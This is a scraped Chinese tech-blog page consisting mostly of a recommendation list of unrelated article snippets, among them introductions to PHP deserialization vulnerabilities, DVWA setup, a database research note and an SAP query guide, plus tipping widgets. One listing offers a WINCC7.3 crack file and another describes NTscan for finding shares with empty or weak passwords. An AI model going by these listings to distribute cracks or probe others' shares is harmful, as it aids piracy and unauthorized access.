海量数据 / Vastbase 深度研究笔记 v3.1

v3.1 重点修订:在 v3.0 审慎版基础上,新增“2026 新变量”章节,纳入 7 亿级定增、HTAP / 多模态时序数据库、G100 V3.0 Build 8 的 3CM+2DN 高可用补强、pgvector / V100 / AI 多模叙事,以及集成服务基因与标准软件 ARR 的拉扯。核心关注点是:Vastbase 能否把 openGauss 生态红利、数据库产品矩阵和行业交付能力,转化为可持续、可复购、低边际成本的标准软件收入。海量不是没有业务基本盘,也不是马上失血致死;客户越多,服务债越大。

喝醉酒的小白 578

反序列化漏洞分析讲解,零基础入门到精通,收藏这篇就够了

1.1 漏洞简介PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。1.2反序列化函数在我们讲PHP反序列化的时候,基本都是围绕着,**unserialize()**这两个函数。

Libra1313的博客 1720

数字逻辑Fundamentals of Digital Logic with Verilog Design | 3rd Edition Solutins Chapter 6(step by step)

第六章6-1~6-42习题详解,缺少6-39和6-40

weixin_62651190的博客 1468

传导案例:某医疗仪器传导骚扰整改案例

紫外线光疗仪是一种专业的医疗设备,主要用于治疗银屑病、白癜风等皮肤疾病。该设备采用物理治疗技术,通过特定波长的紫外线照射人体来达到治疗效果。自1984年窄谱中波紫外线(NB-UVB)应用于临床以来,该技术已成为治疗早期蕈样肉芽肿(MF)的有效方法之一。作为二类医疗器械,紫外线光疗仪必须符合严格的电磁兼容性(EMC)标准,这不仅关系到设备自身的稳定运行,更关乎患者的使用安全和治疗效果。紫外线光疗仪传导骚扰整改案例充分展示了系统性EMC设计的重要性。

m0_56451176的博客 340

PHP反序列化漏洞基础,从零基础到精通,收藏这篇就够了!

本文为看雪论坛精华文章看雪论坛作者ID:H3h3QAQ将变量或者对象转换成字符串的过程,用于存储或传递PHP的值的过程种,同时不丢失其类型和结构。反序列化运行结果。

yy1715713348的博客 1013

SAP 未清PO数量 = 采购订单数量 - 已收货数量

本文介绍了SAP系统中查询未清PO数量的6种方法:1.标准采购报表(ME2L/ME2M/ME2N)适合业务用户快速查询;2.物料需求报表(MD04)可查看单个物料的供需情况;3.SQVI快速查询器提供自定义字段的灵活性;4.ABAP报表适合开发人员处理复杂逻辑;5.SAPQuery经配置后可供业务用户使用;6.BI/HANA方案适合大数据量分析。每种方法各有优缺点,用户可根据自身技术水平和具体需求选择,日常查询推荐使用标准采购报表ME2L/ME2M。

金牌架构师 1867

DVWA安装及使用(非常详细),零基础入门到精通,看这一篇就够了

DVWA安装及使用(非常详细),零基础入门到精通,看这一篇就够了

分享Python知识 3735

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

PHP反序列化漏洞原理及示例

本站转自行云博客https://www.xy586.top/ 文章目录PHP反序列化序列化与反序列化PHP魔法函数反序列化漏洞简介原理触发条件示例 PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串。 序列化过程中还会对不同属性的变量进行不同方式的变化 public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00.

qq_41679358的博客 8085

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

PHP反序列化漏洞-入门,从零基础到精通,收藏这篇就够了!

PHP反序列化漏洞是Web安全的一大威胁。理解序列化/反序列化的原理,时刻保持警惕,才能避免被黑客利用。记住,安全不是一蹴而就的,而是一个持续不断的过程。```

yy1715713348的博客 1030

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

黑客论坛有哪些(非常详细),零基础入门到精通,看这一篇就够了

黑客论坛有哪些(非常详细),零基础入门到精通,看这一篇就够了

隔壁王叔的博客 2094

php 反序列漏洞初识, (非常详细)从零基础入门到精通,收藏这篇就够了

首先这个东西在 PHP 网站中的定义:所有 php 里面的值都可以使用函数来返回一个包含字节流的字符串来表示。函数能够重新把字符串变回 php 原来的值。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。按照我的理解,将一个对象转换成一个字符串,将字符串还原为一个对象。当然从本质上来说,反序列化的数据本身是没有危害的,用户可控数据进行反序列化是存在危害的。

Libra1313的博客 1167

反序列化漏洞详解 一文了解反序列化漏洞

本篇总结归纳反序列化漏洞,包括php、java、python三种语言

闵行小鱼塘 6445
上一篇: 什么是域?如何搭建一个简单的域?
下一篇: 【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头
黑客老许
博客等级 码龄8年 6158粉丝 1028原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值